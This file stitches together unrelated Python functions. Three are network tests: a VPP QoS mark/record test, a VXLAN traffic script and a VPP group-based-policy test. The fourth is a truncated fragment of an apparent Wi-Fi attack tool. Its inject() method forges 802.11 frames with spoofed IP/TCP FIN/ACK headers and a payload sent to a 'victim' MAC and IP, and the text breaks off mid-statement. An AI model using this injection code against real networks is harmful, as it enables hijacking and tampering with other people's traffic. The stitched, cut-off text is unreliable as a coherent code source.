def test_qos_ip(self): """ QoS Mark/Record IP """ # # for table 1 map the n=0xff possible values of input QoS mark, # n to 1-n # output = [chr(0)] * 256 for i in range(0, 255): output[i] = chr(255 - i) os = ''.join(output) rows = [{ 'outputs': os }, { 'outputs': os }, { 'outputs': os }, { 'outputs': os }] self.vapi.qos_egress_map_update(1, rows) # # For table 2 (and up) use the value n for everything # output = [chr(2)] * 256 os = ''.join(output) rows = [{ 'outputs': os }, { 'outputs': os }, { 'outputs': os }, { 'outputs': os }] self.vapi.qos_egress_map_update(2, rows) output = [chr(3)] * 256 os = ''.join(output) rows = [{ 'outputs': os }, { 'outputs': os }, { 'outputs': os }, { 'outputs': os }] self.vapi.qos_egress_map_update(3, rows) output = [chr(4)] * 256 os = ''.join(output) rows = [{ 'outputs': os }, { 'outputs': os }, { 'outputs': os }, { 'outputs': os }] self.vapi.qos_egress_map_update(4, rows) self.vapi.qos_egress_map_update(5, rows) self.vapi.qos_egress_map_update(6, rows) self.vapi.qos_egress_map_update(7, rows) self.logger.info(self.vapi.cli("sh qos eg map")) # # Bind interface pgN to table n # self.vapi.qos_mark_enable_disable(self.pg1.sw_if_index, QOS_SOURCE.IP, 1, 1) self.vapi.qos_mark_enable_disable(self.pg2.sw_if_index, QOS_SOURCE.IP, 2, 1) self.vapi.qos_mark_enable_disable(self.pg3.sw_if_index, QOS_SOURCE.IP, 3, 1) self.vapi.qos_mark_enable_disable(self.pg4.sw_if_index, QOS_SOURCE.IP, 4, 1) # # packets ingress on Pg0 # p_v4 = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IP(src=self.pg0.remote_ip4, dst=self.pg1.remote_ip4, tos=1) / UDP(sport=1234, dport=1234) / Raw(chr(100) * 65)) p_v6 = (Ether(src=self.pg0.remote_mac, dst=self.pg0.local_mac) / IPv6(src=self.pg0.remote_ip6, dst=self.pg1.remote_ip6, tc=1) / UDP(sport=1234, dport=1234) / Raw(chr(100) * 65)) # # Since we have not yet enabled the recording of the input QoS # from the input iP header, the egress packet's ToS will be unchanged # rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 1) rx = self.send_and_expect(self.pg0, p_v6 * 65, self.pg1) for p in rx: self.assertEqual(p[IPv6].tc, 1) # # Enable QoS recrding on IP input for pg0 # self.vapi.qos_record_enable_disable(self.pg0.sw_if_index, QOS_SOURCE.IP, 1) # # send the same packets, this time expect the input TOS of 1 # to be mapped to pg1's egress value of 254 # rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 254) rx = self.send_and_expect(self.pg0, p_v6 * 65, self.pg1) for p in rx: self.assertEqual(p[IPv6].tc, 254) # # different input ToS to test the mapping # p_v4[IP].tos = 127 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 128) p_v6[IPv6].tc = 127 rx = self.send_and_expect(self.pg0, p_v6 * 65, self.pg1) for p in rx: self.assertEqual(p[IPv6].tc, 128) p_v4[IP].tos = 254 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 1) p_v6[IPv6].tc = 254 rx = self.send_and_expect(self.pg0, p_v6 * 65, self.pg1) for p in rx: self.assertEqual(p[IPv6].tc, 1) # # send packets out the other interfaces to test the maps are # correctly applied # p_v4[IP].dst = self.pg2.remote_ip4 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg2) for p in rx: self.assertEqual(p[IP].tos, 2) p_v4[IP].dst = self.pg3.remote_ip4 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg3) for p in rx: self.assertEqual(p[IP].tos, 3) p_v6[IPv6].dst = self.pg3.remote_ip6 rx = self.send_and_expect(self.pg0, p_v6 * 65, self.pg3) for p in rx: self.assertEqual(p[IPv6].tc, 3) # # remove the map on pg2 and pg3, now expect an unchanged IP tos # self.vapi.qos_mark_enable_disable(self.pg2.sw_if_index, QOS_SOURCE.IP, 2, 0) self.vapi.qos_mark_enable_disable(self.pg3.sw_if_index, QOS_SOURCE.IP, 3, 0) self.logger.info(self.vapi.cli("sh int feat pg2")) p_v4[IP].dst = self.pg2.remote_ip4 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg2) for p in rx: self.assertEqual(p[IP].tos, 254) p_v4[IP].dst = self.pg3.remote_ip4 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg3) for p in rx: self.assertEqual(p[IP].tos, 254) # # still mapping out of pg1 # p_v4[IP].dst = self.pg1.remote_ip4 rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 1) # # disable the input recording on pg0 # self.vapi.qos_record_enable_disable(self.pg0.sw_if_index, QOS_SOURCE.IP, 0) # # back to an unchanged TOS value # rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 254) # # disable the egress map on pg1 and pg4 # self.vapi.qos_mark_enable_disable(self.pg1.sw_if_index, QOS_SOURCE.IP, 1, 0) self.vapi.qos_mark_enable_disable(self.pg4.sw_if_index, QOS_SOURCE.IP, 4, 0) # # unchanged Tos on pg1 # rx = self.send_and_expect(self.pg0, p_v4 * 65, self.pg1) for p in rx: self.assertEqual(p[IP].tos, 254) # # clean-up the masp # self.vapi.qos_egress_map_delete(1) self.vapi.qos_egress_map_delete(4) self.vapi.qos_egress_map_delete(2) self.vapi.qos_egress_map_delete(3) self.vapi.qos_egress_map_delete(5) self.vapi.qos_egress_map_delete(6) self.vapi.qos_egress_map_delete(7)
def main(): """Send IP ICMPv4/ICMPv6 packet from one traffic generator interface to the other one. Dot1q or Dot1ad tagging of the ethernet frame can be set. """ args = TrafficScriptArg([ u"tx_src_mac", u"tx_dst_mac", u"tx_src_ip", u"tx_dst_ip", u"tx_vni", u"rx_src_ip", u"rx_dst_ip", u"rx_vni" ]) tx_if = args.get_arg(u"tx_if") rx_if = args.get_arg(u"rx_if") tx_src_mac = args.get_arg(u"tx_src_mac") tx_dst_mac = args.get_arg(u"tx_dst_mac") tx_src_ip = args.get_arg(u"tx_src_ip") tx_dst_ip = args.get_arg(u"tx_dst_ip") tx_vni = args.get_arg(u"tx_vni") rx_src_ip = args.get_arg(u"rx_src_ip") rx_dst_ip = args.get_arg(u"rx_dst_ip") rx_vni = args.get_arg(u"rx_vni") rxq = RxQueue(rx_if) txq = TxQueue(tx_if) sent_packets = [] tx_pkt_p = (Ether(src=u"02:00:00:00:00:01", dst=u"02:00:00:00:00:02") / IP(src=u"192.168.1.1", dst=u"192.168.1.2") / UDP(sport=12345, dport=1234) / Raw(u"raw data")) pkt_raw = (Ether(src=tx_src_mac, dst=tx_dst_mac) / IP(src=tx_src_ip, dst=tx_dst_ip) / UDP(sport=23456) / vxlan.VXLAN(vni=int(tx_vni)) / tx_pkt_p) pkt_raw /= Raw() # Send created packet on one interface and receive on the other sent_packets.append(pkt_raw) txq.send(pkt_raw) ether = rxq.recv(2, ignore=sent_packets) # Check whether received packet contains layers Ether, IP and VXLAN if ether is None: raise RuntimeError(u"Packet Rx timeout") ip = ether.payload if ip.src != rx_src_ip: raise RuntimeError(f"IP src mismatch {ip.src} != {rx_src_ip}") if ip.dst != rx_dst_ip: raise RuntimeError(f"IP dst mismatch {ip.dst} != {rx_dst_ip}") if ip.payload.dport != 4789: raise RuntimeError( f"VXLAN UDP port mismatch {ip.payload.dport} != 4789") vxlan_pkt = ip.payload.payload if int(vxlan_pkt.vni) != int(rx_vni): raise RuntimeError(u"vxlan mismatch") rx_pkt_p = vxlan_pkt.payload if rx_pkt_p.src != tx_pkt_p.src: raise RuntimeError( f"RX encapsulated MAC src mismatch {rx_pkt_p.src} != {tx_pkt_p.src}" ) if rx_pkt_p.dst != tx_pkt_p.dst: raise RuntimeError( f"RX encapsulated MAC dst mismatch {rx_pkt_p.dst} != {tx_pkt_p.dst}" ) if rx_pkt_p[IP].src != tx_pkt_p[IP].src: raise RuntimeError( f"RX encapsulated IP src mismatch {rx_pkt_p[IP].src} != " f"{tx_pkt_p[IP].src}") if rx_pkt_p[IP].dst != tx_pkt_p[IP].dst: raise RuntimeError( f"RX encapsulated IP dst mismatch {rx_pkt_p[IP].dst} != " f"{tx_pkt_p[IP].dst}") # TODO: verify inner Ether() sys.exit(0)
def test_gbp(self): """ Group Based Policy """ nat_table = VppIpTable(self, 20) nat_table.add_vpp_config() nat_table = VppIpTable(self, 20, is_ip6=True) nat_table.add_vpp_config() # # Bridge Domains # self.vapi.bridge_domain_add_del(1, flood=1, uu_flood=1, forward=1, learn=0, arp_term=1, is_add=1) self.vapi.bridge_domain_add_del(2, flood=1, uu_flood=1, forward=1, learn=0, arp_term=1, is_add=1) self.vapi.bridge_domain_add_del(20, flood=1, uu_flood=1, forward=1, learn=0, arp_term=1, is_add=1) # # 3 EPGs, 2 of which share a BD. # epgs = [] recircs = [] epgs.append( VppGbpEndpointGroup(self, 220, 0, 1, self.pg4, self.loop0, "10.0.0.128", "2001:10::128")) recircs.append(VppGbpRecirc(self, epgs[0], self.loop3)) epgs.append( VppGbpEndpointGroup(self, 221, 0, 1, self.pg5, self.loop0, "10.0.1.128", "2001:10:1::128")) recircs.append(VppGbpRecirc(self, epgs[1], self.loop4)) epgs.append( VppGbpEndpointGroup(self, 222, 0, 2, self.pg6, self.loop1, "10.0.2.128", "2001:10:2::128")) recircs.append(VppGbpRecirc(self, epgs[2], self.loop5)) # # 2 NAT EPGs, one for floating-IP subnets, the other for internet # epgs.append( VppGbpEndpointGroup(self, 333, 20, 20, self.pg7, self.loop2, "11.0.0.128", "3001::128")) recircs.append(VppGbpRecirc(self, epgs[3], self.loop6, is_ext=True)) epgs.append( VppGbpEndpointGroup(self, 444, 20, 20, self.pg8, self.loop2, "11.0.0.129", "3001::129")) recircs.append(VppGbpRecirc(self, epgs[4], self.loop8, is_ext=True)) epg_nat = epgs[3] recirc_nat = recircs[3] # # 4 end-points, 2 in the same subnet, 3 in the same BD # eps = [] eps.append( VppGbpEndpoint(self, self.pg0, epgs[0], recircs[0], "10.0.0.1", "11.0.0.1")) eps.append( VppGbpEndpoint(self, self.pg1, epgs[0], recircs[0], "10.0.0.2", "11.0.0.2")) eps.append( VppGbpEndpoint(self, self.pg2, epgs[1], recircs[1], "10.0.1.1", "11.0.0.3")) eps.append( VppGbpEndpoint(self, self.pg3, epgs[2], recircs[2], "10.0.2.1", "11.0.0.4")) eps.append( VppGbpEndpoint(self, self.pg0, epgs[0], recircs[0], "2001:10::1", "3001::1", is_ip6=True)) eps.append( VppGbpEndpoint(self, self.pg1, epgs[0], recircs[0], "2001:10::2", "3001::2", is_ip6=True)) eps.append( VppGbpEndpoint(self, self.pg2, epgs[1], recircs[1], "2001:10:1::1", "3001::3", is_ip6=True)) eps.append( VppGbpEndpoint(self, self.pg3, epgs[2], recircs[2], "2001:10:2::1", "3001::4", is_ip6=True)) # # Config related to each of the EPGs # for epg in epgs: # IP config on the BVI interfaces if epg != epgs[1] and epg != epgs[4]: epg.bvi.set_table_ip4(epg.rd) epg.bvi.set_table_ip6(epg.rd) # The BVIs are NAT inside interfaces self.vapi.nat44_interface_add_del_feature(epg.bvi.sw_if_index, is_inside=1, is_add=1) self.vapi.nat66_add_del_interface(epg.bvi.sw_if_index, is_inside=1, is_add=1) self.vapi.sw_interface_add_del_address(epg.bvi.sw_if_index, epg.bvi_ip4_n, 32) self.vapi.sw_interface_add_del_address(epg.bvi.sw_if_index, epg.bvi_ip6_n, 128, is_ipv6=True) # EPG uplink interfaces in the BD epg.uplink.set_table_ip4(epg.rd) epg.uplink.set_table_ip6(epg.rd) self.vapi.sw_interface_set_l2_bridge(epg.uplink.sw_if_index, epg.bd) # add the BD ARP termination entry for BVI IP self.vapi.bd_ip_mac_add_del(bd_id=epg.bd, mac=mactobinary(self.router_mac), ip=epg.bvi_ip4_n, is_ipv6=0, is_add=1) self.vapi.bd_ip_mac_add_del(bd_id=epg.bd, mac=mactobinary(self.router_mac), ip=epg.bvi_ip6_n, is_ipv6=1, is_add=1) # epg[1] shares the same BVI to epg[0] if epg != epgs[1] and epg != epgs[4]: # BVI in BD self.vapi.sw_interface_set_l2_bridge(epg.bvi.sw_if_index, epg.bd, bvi=1) # BVI L2 FIB entry self.vapi.l2fib_add_del(self.router_mac, epg.bd, epg.bvi.sw_if_index, is_add=1, bvi_mac=1) # EPG in VPP epg.add_vpp_config() for recirc in recircs: # EPG's ingress recirculation interface maps to its RD recirc.recirc.set_table_ip4(recirc.epg.rd) recirc.recirc.set_table_ip6(recirc.epg.rd) # in the bridge to allow DVR. L2 emulation to punt to L3 self.vapi.sw_interface_set_l2_bridge(recirc.recirc.sw_if_index, recirc.epg.bd) self.vapi.sw_interface_set_l2_emulation(recirc.recirc.sw_if_index) self.vapi.nat44_interface_add_del_feature( recirc.recirc.sw_if_index, is_inside=0, is_add=1) self.vapi.nat66_add_del_interface(recirc.recirc.sw_if_index, is_inside=0, is_add=1) recirc.add_vpp_config() ep_routes = [] ep_arps = [] for ep in eps: self.pg_enable_capture(self.pg_interfaces) self.pg_start() # # routes to the endpoints. We need these since there are no # adj-fibs due to the fact the the BVI address has /32 and # the subnet is not attached. # r = VppIpRoute( self, ep.ip, ep.ip_len, [VppRoutePath(ep.ip, ep.epg.bvi.sw_if_index, proto=ep.proto)], is_ip6=ep.is_ip6) r.add_vpp_config() ep_routes.append(r) # # ARP entries for the endpoints # a = VppNeighbor(self, ep.epg.bvi.sw_if_index, ep.itf.remote_mac, ep.ip, af=ep.af) a.add_vpp_config() ep_arps.append(a) # add each EP itf to the its BD self.vapi.sw_interface_set_l2_bridge(ep.itf.sw_if_index, ep.epg.bd) # add the BD ARP termination entry self.vapi.bd_ip_mac_add_del(bd_id=ep.epg.bd, mac=ep.bin_mac, ip=ep.ip_n, is_ipv6=0, is_add=1) # L2 FIB entry self.vapi.l2fib_add_del(ep.mac, ep.epg.bd, ep.itf.sw_if_index, is_add=1) # Add static mappings for each EP from the 10/8 to 11/8 network if ep.af == AF_INET: self.vapi.nat44_add_del_static_mapping(ep.ip_n, ep.floating_ip_n, vrf_id=0, addr_only=1) else: self.vapi.nat66_add_del_static_mapping(ep.ip_n, ep.floating_ip_n, vrf_id=0) # VPP EP create ... ep.add_vpp_config() # ... results in a Gratuitous ARP/ND on the EPG's uplink rx = ep.epg.uplink.get_capture(1, timeout=0.2) if ep.is_ip6: self.assertTrue(rx[0].haslayer(ICMPv6ND_NA)) self.assertEqual(rx[0][ICMPv6ND_NA].tgt, ep.ip) else: self.assertTrue(rx[0].haslayer(ARP)) self.assertEqual(rx[0][ARP].psrc, ep.ip) self.assertEqual(rx[0][ARP].pdst, ep.ip) # add the BD ARP termination entry for floating IP self.vapi.bd_ip_mac_add_del(bd_id=epg_nat.bd, mac=ep.bin_mac, ip=ep.floating_ip_n, is_ipv6=ep.is_ip6, is_add=1) # floating IPs route via EPG recirc r = VppIpRoute(self, ep.floating_ip, ep.ip_len, [ VppRoutePath(ep.floating_ip, ep.recirc.recirc.sw_if_index, is_dvr=1, proto=ep.proto) ], table_id=20, is_ip6=ep.is_ip6) r.add_vpp_config() ep_routes.append(r) # L2 FIB entries in the NAT EPG BD to bridge the packets from # the outside direct to the internal EPG self.vapi.l2fib_add_del(ep.mac, epg_nat.bd, ep.recirc.recirc.sw_if_index, is_add=1) # # ARP packets for unknown IP are flooded # pkt_arp = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.pg0.remote_mac, pdst=epgs[0].bvi_ip4, psrc="10.0.0.88")) self.send_and_expect(self.pg0, [pkt_arp], self.pg0) # # ARP/ND packets get a response # pkt_arp = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / ARP(op="who-has", hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.pg0.remote_mac, pdst=epgs[0].bvi_ip4, psrc=eps[0].ip)) self.send_and_expect(self.pg0, [pkt_arp], self.pg0) nsma = in6_getnsma(inet_pton(AF_INET6, eps[4].ip)) d = inet_ntop(AF_INET6, nsma) pkt_nd = (Ether(dst=in6_getnsmac(nsma)) / IPv6(dst=d, src=eps[4].ip) / ICMPv6ND_NS(tgt=epgs[0].bvi_ip6) / ICMPv6NDOptSrcLLAddr(lladdr=self.pg0.remote_mac)) self.send_and_expect(self.pg0, [pkt_nd], self.pg0) # # broadcast packets are flooded # pkt_bcast = (Ether(dst="ff:ff:ff:ff:ff:ff", src=self.pg0.remote_mac) / IP(src=eps[0].ip, dst="232.1.1.1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.vapi.cli("clear trace") self.pg0.add_stream(pkt_bcast) self.pg_enable_capture(self.pg_interfaces) self.pg_start() rxd = eps[1].itf.get_capture(1) self.assertEqual(rxd[0][Ether].dst, pkt_bcast[Ether].dst) rxd = epgs[0].uplink.get_capture(1) self.assertEqual(rxd[0][Ether].dst, pkt_bcast[Ether].dst) # # packets to non-local L3 destinations dropped # pkt_intra_epg_220_ip4 = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IP(src=eps[0].ip, dst="10.0.0.99") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_inter_epg_222_ip4 = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IP(src=eps[0].ip, dst="10.0.1.99") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_assert_no_replies(self.pg0, pkt_intra_epg_220_ip4 * 65) pkt_inter_epg_222_ip6 = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IPv6(src=eps[4].ip, dst="2001:10::99") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_222_ip6 * 65) # # Add the subnet routes # s41 = VppGbpSubnet(self, 0, "10.0.0.0", 24) s42 = VppGbpSubnet(self, 0, "10.0.1.0", 24) s43 = VppGbpSubnet(self, 0, "10.0.2.0", 24) s41.add_vpp_config() s42.add_vpp_config() s43.add_vpp_config() s61 = VppGbpSubnet(self, 0, "2001:10::1", 64, is_ip6=True) s62 = VppGbpSubnet(self, 0, "2001:10:1::1", 64, is_ip6=True) s63 = VppGbpSubnet(self, 0, "2001:10:2::1", 64, is_ip6=True) s61.add_vpp_config() s62.add_vpp_config() s63.add_vpp_config() self.send_and_expect_bridged(self.pg0, pkt_intra_epg_220_ip4 * 65, self.pg4) self.send_and_expect_bridged(self.pg3, pkt_inter_epg_222_ip4 * 65, self.pg6) self.send_and_expect_bridged6(self.pg3, pkt_inter_epg_222_ip6 * 65, self.pg6) self.logger.info(self.vapi.cli("sh ip fib 11.0.0.2")) self.logger.info(self.vapi.cli("sh gbp endpoint-group")) self.logger.info(self.vapi.cli("sh gbp endpoint")) self.logger.info(self.vapi.cli("sh gbp recirc")) self.logger.info(self.vapi.cli("sh int")) self.logger.info(self.vapi.cli("sh int addr")) self.logger.info(self.vapi.cli("sh int feat loop6")) self.logger.info(self.vapi.cli("sh vlib graph ip4-gbp-src-classify")) self.logger.info(self.vapi.cli("sh int feat loop3")) # # Packet destined to unknown unicast is sent on the epg uplink ... # pkt_intra_epg_220_to_uplink = ( Ether(src=self.pg0.remote_mac, dst="00:00:00:33:44:55") / IP(src=eps[0].ip, dst="10.0.0.99") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_bridged(self.pg0, pkt_intra_epg_220_to_uplink * 65, self.pg4) # ... and nowhere else self.pg1.get_capture(0, timeout=0.1) self.pg1.assert_nothing_captured(remark="Flood onto other VMS") pkt_intra_epg_221_to_uplink = ( Ether(src=self.pg2.remote_mac, dst="00:00:00:33:44:66") / IP(src=eps[0].ip, dst="10.0.0.99") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_bridged(self.pg2, pkt_intra_epg_221_to_uplink * 65, self.pg5) # # Packets from the uplink are forwarded in the absence of a contract # pkt_intra_epg_220_from_uplink = ( Ether(src="00:00:00:33:44:55", dst=self.pg0.remote_mac) / IP(src=eps[0].ip, dst="10.0.0.99") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_bridged(self.pg4, pkt_intra_epg_220_from_uplink * 65, self.pg0) # # in the absence of policy, endpoints in the same EPG # can communicate # pkt_intra_epg = ( Ether(src=self.pg0.remote_mac, dst=self.pg1.remote_mac) / IP(src=eps[0].ip, dst=eps[1].ip) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_bridged(self.pg0, pkt_intra_epg * 65, self.pg1) # # in the abscense of policy, endpoints in the different EPG # cannot communicate # pkt_inter_epg_220_to_221 = ( Ether(src=self.pg0.remote_mac, dst=self.pg2.remote_mac) / IP(src=eps[0].ip, dst=eps[2].ip) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_inter_epg_221_to_220 = ( Ether(src=self.pg2.remote_mac, dst=self.pg0.remote_mac) / IP(src=eps[2].ip, dst=eps[0].ip) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) pkt_inter_epg_220_to_222 = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IP(src=eps[0].ip, dst=eps[3].ip) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_220_to_221 * 65) self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_220_to_222 * 65) # # A uni-directional contract from EPG 220 -> 221 # acl = VppGbpAcl(self) rule = acl.create_rule(permit_deny=1, proto=17) rule2 = acl.create_rule(is_ipv6=1, permit_deny=1, proto=17) acl_index = acl.add_vpp_config([rule, rule2]) c1 = VppGbpContract(self, 220, 221, acl_index) c1.add_vpp_config() self.send_and_expect_bridged(self.pg0, pkt_inter_epg_220_to_221 * 65, self.pg2) self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_220_to_222 * 65) # # contract for the return direction # c2 = VppGbpContract(self, 221, 220, acl_index) c2.add_vpp_config() self.send_and_expect_bridged(self.pg0, pkt_inter_epg_220_to_221 * 65, self.pg2) self.send_and_expect_bridged(self.pg2, pkt_inter_epg_221_to_220 * 65, self.pg0) # # check that inter group is still disabled for the groups # not in the contract. # self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_220_to_222 * 65) # # A uni-directional contract from EPG 220 -> 222 'L3 routed' # c3 = VppGbpContract(self, 220, 222, acl_index) c3.add_vpp_config() self.logger.info(self.vapi.cli("sh gbp contract")) self.send_and_expect_routed(self.pg0, pkt_inter_epg_220_to_222 * 65, self.pg3, self.router_mac) # # remove both contracts, traffic stops in both directions # c2.remove_vpp_config() c1.remove_vpp_config() c3.remove_vpp_config() acl.remove_vpp_config() self.send_and_assert_no_replies(self.pg2, pkt_inter_epg_221_to_220 * 65) self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_220_to_221 * 65) self.send_and_expect_bridged(self.pg0, pkt_intra_epg * 65, self.pg1) # # EPs to the outside world # # in the EP's RD an external subnet via the NAT EPG's recirc se1 = VppGbpSubnet(self, 0, "0.0.0.0", 0, is_internal=False, sw_if_index=recirc_nat.recirc.sw_if_index, epg=epg_nat.epg) se1.add_vpp_config() se2 = VppGbpSubnet(self, 0, "11.0.0.0", 8, is_internal=False, sw_if_index=recirc_nat.recirc.sw_if_index, epg=epg_nat.epg) se2.add_vpp_config() se16 = VppGbpSubnet(self, 0, "::", 0, is_internal=False, sw_if_index=recirc_nat.recirc.sw_if_index, epg=epg_nat.epg, is_ip6=True) se16.add_vpp_config() # in the NAT RD an external subnet via the NAT EPG's uplink se3 = VppGbpSubnet(self, 20, "0.0.0.0", 0, is_internal=False, sw_if_index=epg_nat.uplink.sw_if_index, epg=epg_nat.epg) se36 = VppGbpSubnet(self, 20, "::", 0, is_internal=False, sw_if_index=epg_nat.uplink.sw_if_index, epg=epg_nat.epg, is_ip6=True) se4 = VppGbpSubnet(self, 20, "11.0.0.0", 8, is_internal=False, sw_if_index=epg_nat.uplink.sw_if_index, epg=epg_nat.epg) se3.add_vpp_config() se36.add_vpp_config() se4.add_vpp_config() self.logger.info(self.vapi.cli("sh ip fib 0.0.0.0/0")) self.logger.info(self.vapi.cli("sh ip fib 11.0.0.1")) self.logger.info(self.vapi.cli("sh ip6 fib ::/0")) self.logger.info(self.vapi.cli("sh ip6 fib %s" % eps[4].floating_ip)) # # From an EP to an outside addess: IN2OUT # pkt_inter_epg_220_to_global = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IP(src=eps[0].ip, dst="1.1.1.1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) # no policy yet self.send_and_assert_no_replies(self.pg0, pkt_inter_epg_220_to_global * 65) acl2 = VppGbpAcl(self) rule = acl2.create_rule(permit_deny=1, proto=17, sport_from=1234, sport_to=1234, dport_from=1234, dport_to=1234) rule2 = acl2.create_rule(is_ipv6=1, permit_deny=1, proto=17, sport_from=1234, sport_to=1234, dport_from=1234, dport_to=1234) acl_index2 = acl2.add_vpp_config([rule, rule2]) c4 = VppGbpContract(self, 220, 333, acl_index2) c4.add_vpp_config() self.send_and_expect_natted(self.pg0, pkt_inter_epg_220_to_global * 65, self.pg7, eps[0].floating_ip) pkt_inter_epg_220_to_global = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IPv6(src=eps[4].ip, dst="6001::1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_natted6(self.pg0, pkt_inter_epg_220_to_global * 65, self.pg7, eps[4].floating_ip) # # From a global address to an EP: OUT2IN # pkt_inter_epg_220_from_global = ( Ether(src=self.router_mac, dst=self.pg0.remote_mac) / IP(dst=eps[0].floating_ip, src="1.1.1.1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_assert_no_replies(self.pg7, pkt_inter_epg_220_from_global * 65) c5 = VppGbpContract(self, 333, 220, acl_index2) c5.add_vpp_config() self.send_and_expect_unnatted(self.pg7, pkt_inter_epg_220_from_global * 65, eps[0].itf, eps[0].ip) pkt_inter_epg_220_from_global = ( Ether(src=self.router_mac, dst=self.pg0.remote_mac) / IPv6(dst=eps[4].floating_ip, src="6001::1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_unnatted6(self.pg7, pkt_inter_epg_220_from_global * 65, eps[4].itf, eps[4].ip) # # From a local VM to another local VM using resp. public addresses: # IN2OUT2IN # pkt_intra_epg_220_global = ( Ether(src=self.pg0.remote_mac, dst=self.router_mac) / IP(src=eps[0].ip, dst=eps[1].floating_ip) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_double_natted(eps[0].itf, pkt_intra_epg_220_global * 65, eps[1].itf, eps[0].floating_ip, eps[1].ip) pkt_intra_epg_220_global = ( Ether(src=self.pg4.remote_mac, dst=self.router_mac) / IPv6(src=eps[4].ip, dst=eps[5].floating_ip) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) self.send_and_expect_double_natted6(eps[4].itf, pkt_intra_epg_220_global * 65, eps[5].itf, eps[4].floating_ip, eps[5].ip) # # cleanup # for ep in eps: # del static mappings for each EP from the 10/8 to 11/8 network if ep.af == AF_INET: self.vapi.nat44_add_del_static_mapping(ep.ip_n, ep.floating_ip_n, vrf_id=0, addr_only=1, is_add=0) else: self.vapi.nat66_add_del_static_mapping(ep.ip_n, ep.floating_ip_n, vrf_id=0, is_add=0) for epg in epgs: # IP config on the BVI interfaces self.vapi.sw_interface_add_del_address(epg.bvi.sw_if_index, epg.bvi_ip4_n, 32, is_add=0) self.vapi.sw_interface_add_del_address(epg.bvi.sw_if_index, epg.bvi_ip6_n, 128, is_add=0, is_ipv6=True) self.logger.info(self.vapi.cli("sh int addr")) epg.uplink.set_table_ip4(0) epg.uplink.set_table_ip6(0) if epg != epgs[0] and epg != epgs[3]: epg.bvi.set_table_ip4(0) epg.bvi.set_table_ip6(0) self.vapi.nat44_interface_add_del_feature(epg.bvi.sw_if_index, is_inside=1, is_add=0) self.vapi.nat66_add_del_interface(epg.bvi.sw_if_index, is_inside=1, is_add=0) for recirc in recircs: recirc.recirc.set_table_ip4(0) recirc.recirc.set_table_ip6(0) self.vapi.nat44_interface_add_del_feature( recirc.recirc.sw_if_index, is_inside=0, is_add=0) self.vapi.nat66_add_del_interface(recirc.recirc.sw_if_index, is_inside=0, is_add=0)
def inject(self, vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum, seqnum, injection, TSVal, TSecr): """Send the injection using Scapy This method is where the actual packet is created for sending Things such as payload and associated flags are genned here FIN/ACK flag is sent to the victim with this method """ global npackets npackets += 1 sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' + Bcolors.WARNING + vicmac + Bcolors.OKBLUE + ' (TOTAL: ' + str(npackets) + ' injected packets)\r' + Bcolors.ENDC) sys.stdout.flush() ## Injection using Monitor Mode if self.args.inj == 'mon': hdr = Headers() headers = hdr.default(injection) ## WEP/WPA if self.args.wep or self.args.wpa: packet = self.rTap\ /Dot11( FCfield = 'from-DS', addr1 = vicmac, addr2 = rtrmac, addr3 = rtrmac, subtype = 8L, type = 2 )\ /Dot11QoS()\ /LLC()\ /SNAP()\ /IP( dst = vicip, src = svrip )\ /TCP( flags = 'FA', sport = int(svrport), dport = int(vicport), seq = int(seqnum), ack = int(acknum) )\ /Raw( load = headers + injection ) ## Open else: packet = RadioTap()\ /Dot11( FCfield = 'from-DS', addr1 = vicmac, addr2 = rtrmac, addr3 = rtrmac )\ /LLC()\ /SNAP()\ /IP( dst = vicip, src = svrip 